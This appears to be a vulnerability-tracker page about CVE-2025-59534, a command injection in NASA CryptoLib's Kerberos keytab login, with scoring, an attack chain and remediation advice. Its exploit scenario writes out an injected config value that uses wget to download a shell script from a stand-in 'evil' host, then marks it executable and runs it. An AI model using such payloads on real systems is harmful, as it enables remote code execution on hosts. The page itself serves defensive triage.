Skip to main content

NASA CryptoLib CVE-2025-59534

HIGH
OS Command Injection (CWE-78)
2025-09-23 security-advisories@github.com
7.8
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Gain control of CAM keytab/username config
  2. Delivery
    Inject shell metacharacters into keytab path or username
  3. Exploit
    kinit command built and run via system()
  4. Execution
    Arbitrary commands execute as CryptoLib process
  5. Impact
    Code execution on ground-station host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires CryptoLib built with the KMC crypto service interface and CAM (Cryptographic Access Manager) enabled using the CAM_LOGIN_KEYTAB_FILE login method, plus attacker control over the CAM 'username' or 'keytab_file_path' configuration parameters. Those values are concatenated unsanitized into a 'kinit -kt %s %s' string and executed via system() inside initialize_kerberos_keytab_file_login(). Limiting factors: the vector is local (AV:L), the vulnerable path only runs under this specific non-default Kerberos keytab CAM configuration, and the attacker must be able to set those configuration fields - so this is not reachable against a default CryptoLib build that does not use KMC/CAM keytab login.

Impact

This is a genuine but lower-tier priority. The signals are consistent: CVSS 7.8 is driven by HIGH confidentiality/integrity/availability impact (arbitrary OS command execution via CWE-78), but the attack vector is LOCAL (AV:L) and EPSS is effectively negligible at 0.04% (11th percentile), indicating no meaningful mass-exploitation probability. It is NOT listed in CISA KEV, so there is no evidence of active exploitation; the only exploitation signal is publicly available exploit/PoC material in the GitHub Security Advisory (GHSA-jw5c-58hr-m3v3) and the regression test (ut_kmc_cam.c) which embeds working payloads like 'user; echo pwned' and a wget-chmod-execute chain. One notable tension: the input CVSS lists PR:N (unauthenticated), yet the source evidence shows the injection occurs through CAM configuration values (username, keytab_file_path) passed to Crypto_Config_Cam - these are operator-supplied configuration parameters, so real exploitation requires the ability to control CryptoLib's CAM configuration rather than true anonymous remote access. The EPSS/KEV/local-vector combination strongly suggests this is a code-quality/defense-in-depth fix, not a widespread remote threat.

Exploit ScenarioDerived

An actor able to influence CryptoLib's CAM (Cryptographic Access Manager) configuration - for example by tampering with the keytab file path or username fields used for Kerberos keytab login - supplies a value such as '/etc/krb5.keytab; wget http://evil/shell.sh -O /tmp/s.sh; chmod +x /tmp/s.sh; /tmp/s.sh'. When initialize_kerberos_keytab_file_login() builds the 'kinit -kt %s %s' string and runs it through system(), the injected commands execute with the privileges of the cFS/CryptoLib process. A working proof-of-concept payload is publicly documented in the vendor advisory and committed regression test.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Oct 11, 2026

Command injection in NASA CryptoLib before 1.4.2 lets an attacker who controls the CAM 'username' or 'keytab_file_path' configuration values execute arbitrary operating-system commands on the host. The flaw is in initialize_kerberos_keytab_file_login(), which concatenates those values into a 'kinit -kt %s %s' string and hands it to system() with no sanitization; it is only reachable in builds compiled with the KMC cryptography service interface and CAM enabled using the CAM_LOGIN_KEYTAB_FILE login method, and the assessed vector (CVSS:3.1/AV:L/AC:L/PR:H/UI:N, base 7.8) means the attacker already needs local access and high privileges to alter that configuration. Publicly available exploit code exists - the GitHub security advisory ships concrete malicious payloads such as 'user; echo pwned' and a chained 'wget/chmod/execute' keytab path - but EPSS is only 0.04% (11th percentile) and there is no confirmed active exploitation; the issue is not listed in CISA KEV. Impact is limited to tampering with the host running CryptoLib (C:H/I:H/A:H) rather than to cryptographic key compromise of the spacecraft link itself.

Earlier versions of this analysis (1)
v1 Mar 28, 2026 - 19:13 CVSS 7.3

CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDLS-EP) to secure communications between a spacecraft running the core Flight. Rated high severity (CVSS 7.3), this vulnerability is low attack complexity. Public exploit code available.

RemediationAI

Upgrade to CryptoLib 1.4.2, which is the vendor-released patch containing the fix commit 3ccb1b306026bb20a028fbfdcf18935f7345ed2f; the patch both validates configuration input character sets and replaces the system() call with a fork/execlp invocation of kinit that bypasses the shell entirely. If immediate upgrade is not possible, remove the attack surface by disabling CAM (CAM_ENABLED_FALSE) or switching away from the CAM_LOGIN_KEYTAB_FILE login method, since the vulnerable code path only executes under that login mode - the trade-off is loss of Kerberos keytab-based CAM authentication in the KMC interface, which may require reconfiguring the ground-segment credentials flow. Additionally, restrict write access to whatever configuration source supplies the CAM username and keytab_file_path (config files, environment, deployment tooling) to trusted administrators only, consistent with the assessed PR:H requirement, and never populate those fields from remote or operator-supplied input; a process-level mitigation is to run CryptoLib with a restricted OS account and a constrained PATH so that a successful injection yields limited privileges, at the cost of extra deployment complexity. Because the fix is a compile-time code change, C-based deployments must be rebuilt and redeployed rather than hot-patched. Details and the corrected code are available in the GitHub advisory GHSA-jw5c-58hr-m3v3 (https://github.com/nasa/CryptoLib/security/advisories/GHSA-jw5c-58hr-m3v3) and the upstream commit.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

CryptoLib is NASA's software-only implementation of the CCSDS Space Data Link Security Protocol - Extended Procedures (SDLS-EP), used to secure communications between a spacecraft running the core Flight System (cFS) and a ground station. The affected component is not the SDLS framing/crypto core but the KMC (Key Management Center) cryptography interface plugin, specifically its Cryptographic Access Manager (CAM) support. When CryptoLib is built with the KMC crypto service interface and CAM is enabled with the CAM_LOGIN_KEYTAB_FILE login method, initialize_kerberos_keytab_file_login() obtains a Kerberos ticket by invoking the external 'kinit' utility. Prior to 1.4.2 the code built the command string with snprintf() into 'kinit -kt %s %s' - interpolating cam_config->keytab_file_path and cam_config->username verbatim - and executed it via system(), which spawns /bin/sh. Because shell metacharacters (;, $(), backticks, &&, pipes, quotes) in either field are interpreted by that shell, this is a classic CWE-78 OS command injection with the config values as the injection vector. The upstream fix at commit 3ccb1b306026bb20a028fbfdcf18935f7345ed2f applies two layers of defense: new helpers is_safe_username() and is_safe_path() in crypto.c restrict the allowed character set to alphanumerics plus '.', '_', '-' (and '/' for paths) and cause Crypto_Config_Cam() to return CAM_CONFIG_NOT_SUPPORTED_ERROR on rejection, while system() is replaced by a run_kinit() helper that fork()s and execlp()s kinit with discrete arguments (no shell), plus a new unit test UT_KMC_CAM covering the malicious-input cases.

Know when Cryptolib gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 7.8 HIGH
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
vuln.today AI 6.7 MEDIUM

Injection point is operator-controlled CAM configuration (keytab path/username), so local vector and PR:H; full command execution yields C:H/I:H/A:H with no scope change.

3.1 AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

5
Analysis Updated
Oct 11, 2026 - 20:32 vuln.today
v2 - CVSS changed
CVSS changed
Oct 11, 2026 - 20:22 NVD
7.3 (HIGH) 7.8 (HIGH)
Patch released
Mar 28, 2026 - 19:13 nvd
Patch available
PoC Detected
Oct 08, 2025 - 17:41 vuln.today
Public exploit code
CVE Published
Sep 23, 2025 - 19:15 nvd
HIGH 7.3

DescriptionNVD

CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDLS-EP) to secure communications between a spacecraft running the core Flight System (cFS) and a ground station. Prior to version 1.4.2, there is a command Injection vulnerability in initialize_kerberos_keytab_file_login(). The vulnerability exists because the code directly interpolates user-controlled input into a shell command and executes it via system() without any sanitization or validation. This issue has been patched in version 1.4.2.

Executive ViewAI

Why It Matters

NASA CryptoLib versions before 1.4.2 contain a high-severity command injection flaw that allows a high-privileged local user to execute operating-system commands on affected hosts. Exposure is limited to specialized builds that enable the KMC cryptography service interface and the CAM_LOGIN_KEYTAB_FILE login method, but these configurations may support mission or ground-support systems where a compromised privileged account could pivot to the underlying host. Publicly available exploit code exists, but there is no confirmed active exploitation and the vendor has released a patch, so leadership should prioritize targeted remediation rather than broad emergency response.

Business Impact: Medium
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Prevalence
Low
niche NASA space-ground-link security library, industry-specific aerospace deployment
Exploit
POC
Public exploit code exists
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Small
Automatable· derived
No
Human Impact
Medium

Priority Score

59
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +39
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Affected Products (CPE)NVD

cpe:2.3:a:nasa:cryptolib:*:*:*:*:*:*:*:*
CVE-2025-30216 CRITICAL POC
9.4 Mar 25

CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDL

CVE-2025-30356 CRITICAL POC
9.3 Apr 01

CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDL

CVE-2025-29909 HIGH POC
8.9 Mar 17

CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDL

CVE-2025-29912 HIGH POC
8.9 Mar 17

CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDL

CVE-2025-29911 HIGH POC
8.9 Mar 17

CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDL

CVE-2025-29913 HIGH POC
8.9 Mar 17

CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDL

CVE-2026-21898 HIGH POC
8.2 Jan 10

CryptoLib versions prior to 1.4.3 contain an out-of-bounds read vulnerability in the Crypto_AOS_ProcessSecurity function

CVE-2026-22697 HIGH POC
7.5 Jan 10

CryptoLib versions prior to 1.4.3 contain a heap buffer overflow in the KMC crypto service's Base64 decoder, where overs

CVE-2026-22026 HIGH POC
7.5 Jan 10

CryptoLib versions prior to 1.4.3 are vulnerable to denial of service through unbounded memory allocation in the KMC cry

CVE-2026-22023 HIGH POC
7.5 Jan 10

CryptoLib versions prior to 1.4.3 contain an out-of-bounds heap read in the cryptography_aead_encrypt() function, affect

CVE-2024-44910 HIGH POC
7.5 Sep 27

NASA CryptoLib v1.3.0 was discovered to contain an Out-of-Bounds read via the AOS subsystem (crypto_aos.c). Rated high s

CVE-2026-22027 MEDIUM POC
6.0 Jan 10

Heap buffer overflow in CryptoLib versions prior to 1.4.3 allows a high-privileged local attacker to corrupt adjacent me

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy